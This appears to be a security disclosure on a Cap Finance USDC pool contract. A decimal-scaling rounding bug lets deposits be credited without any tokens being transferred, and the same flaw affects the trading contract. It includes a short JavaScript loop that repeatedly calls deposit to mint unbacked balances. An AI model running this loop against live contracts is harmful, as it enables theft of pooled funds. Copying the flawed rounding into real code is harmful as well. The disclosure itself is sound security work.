Cap Finance USDC pool exploit
===
The exploit affects the `transferIn(uint256)` where the decimals are < 18. In this example case, usdc has decimals of 6 which leaves a 12 decimal number to be passed into this function to result in `amount` being rounded to 0.
```bash=
function _transferIn(uint256 amount) internal {
// adjust decimals
uint256 decimals = IRouter(router).getDecimals(currency);
amount = amount * (10**decimals) / UNIT; // <HERE>
IERC20(currency).safeTransferFrom(msg.sender, address(this), amount);
}
function deposit(uint256 amount) external payable {
uint256 lastBalance = _getCurrentBalance();
if (currency == address(0)) {
amount = msg.value;
lastBalance -= amount;
} else {
_transferIn(amount); // <HERE>
}
require(amount > 0, "!amount");
require(amount + lastBalance <= maxCap, "!max-cap");
uint256 clpAmountToMint = lastBalance == 0 || totalSupply == 0 ? amount : amount * totalSupply / lastBalance;
lastDeposited[msg.sender] = block.timestamp;
IRewards(rewards).updateRewards(msg.sender);
totalSupply += clpAmountToMint;
balances[msg.sender] += clpAmountToMint;
emit Deposit(
msg.sender,
currency,
amount,
clpAmountToMint
);
}
```
This can be exploited by simply calling the deposit function repeatedly with either a multicall or in a for loop as to accumulate deposits without transfering the required tokens.
```bash=
for (let i=0;i<100;i++){
await usdcPool.deposit("999999999999");
}
```
### Trading contract
Since the trading contract also uses the same implementation of the `_transferIn(uint256)` function. Depending on the collateral asset's decimals the user will have up to 12 decimals free to deposit while not actually transfering the assets to the trading contract as collateral.